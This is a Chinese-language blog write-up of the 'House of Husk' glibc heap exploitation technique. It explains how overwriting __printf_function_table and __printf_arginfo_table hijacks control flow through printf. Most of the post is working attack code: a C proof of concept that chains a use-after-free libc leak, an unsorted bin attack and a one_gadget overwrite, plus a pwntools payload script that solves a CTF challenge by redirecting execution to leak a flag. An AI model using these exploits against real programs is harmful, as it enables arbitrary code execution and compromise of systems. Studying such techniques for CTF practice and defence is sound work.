house of husk
适用版本:2.27到2.35
攻击效果:执行一次call
利用前提:能够修改printf_function_table和printf_arginfo_table
漏洞原理
漏洞背景:在printf函数中我们可以自定义格式化字符串来进行输出
漏洞触发:在vfprintf 函数中会对printf_function_table进行一个if判断,如果不为空进入printf_positional,在printf_positional会调用__parse_one_specmb,在这个函数中下面这个指令
*__printf_arginfo_table[spec->info.spec]
__printf_function_table:可以简单理解为一个标志位,用来判断是否有自定义的转化说明符
__printf_arginfo_table:用于存放自定义转换说明符对应函数的指针的表头地址 ,再通过加上偏移进行查找
调用链
printf
vfprintf
printf_positional
__parse_one_specmb
(*__printf_arginfo_table[spec->info.spec])
调用链中的检查
vfprintf
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL 有时候还需要自己看一下这个位置是否通过
|| __printf_va_arg_table != NULL))
goto do_positional; //进入printf_positional
__parse_one_specmb
if (__builtin_expect (__printf_function_table == NULL, 1)
|| spec->info.spec > UCHAR_MAX
|| __printf_arginfo_table[spec->info.spec] == NULL
|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
(&spec->info, 1, &spec->data_arg_type,
&spec->size)) < 0)
poc
poc和例题链接https://github.com/xmzyshypnc/xz_files/tree/master/34c4_readme_revenge
/*
* This is a Proof-of-Concept for House of Husk
* This PoC is supposed to be run with libc-2.27.
gcc poc.c -o poc -no-pie -g
*/
#include <stdio.h>
#include <stdlib.h>
#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA 0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST 0x3ed940
#define PRINTF_FUNCTABLE 0x3f0738
#define PRINTF_ARGINFO 0x3ec870
#define ONE_GADGET 0x10a2fc
int main (void)
{
unsigned long libc_base;
char *a[10];
setbuf(stdout, NULL); // make printf quiet
/* leak libc */
a[0] = malloc(0x500); /* UAF chunk */
a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
a[3] = malloc(0x500); /* avoid consolidation */
free(a[0]);
libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
printf("libc @ 0x%lx\n", libc_base);
/* prepare fake printf arginfo table */
*(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
//now __printf_arginfo_table['X'] = one_gadget;
//*(unsigned long*)(a[1] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
/* unsorted bin attack */
*(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
a[0] = malloc(0x500); /* overwrite global_max_fast */
/* overwrite __printf_arginfo_table and __printf_function_table */
free(a[1]);// __printf_function_table => a heap_addr which is not NULL
free(a[2]);// => one_gadget
/* ignite! */
printf("%X", 0);
return 0;
}
调试
例题
保护策略
没有开pie,是一个静态文件
程序分析
有一个scanf输入到bss段,还有一个printf打印
漏洞利用
在程序内可以找到flag的地址,
我们输入的bss地址在printf_function_table、printf_arginfo_table上面
利用过程:
1、利用溢出修改printf_function_table、printf_arginfo_table这两个表
2、计算地址执行 _fortify_fail(地址在0x4359b0),并控制第一个参数是放有flag地址的地址
主函数
_fortify_fail
exp
from tools import*
p=process('./a')
context(os='linux', arch='amd64', log_level='debug')
debug(p,0x4359e0)
flag=0x6B4040
leak_flag=0x4359B0
libc_argv=0x6b7980
printf_function_table=0x6b7a28
printf_arginfo_table=0x6b7aa8
payload=p64(flag)
payload+=b'a'*0x598
payload+=p64(0x6B73E0)
payload+=b'a'*(0x640-0x5a8)
payload+=p64(0xdeadbeef)
payload+=p64(0xdeadbeef) #__printf_function_table
payload+=p64(0)
payload+=b'a'*0x70
payload+=p64(0x6b7aa8) #__printf_arginfo_table
payload+=p64(0xdeadbeef)*0x72
payload+=p64(leak_flag)
p.sendline(payload)
p.interactive()
#
参考
https://zikh26.github.io/posts/6c83c2a2.html
标签:__,house,arginfo,payload,husk,printf,table,spec From: https://www.cnblogs.com/trunk/p/17164382.html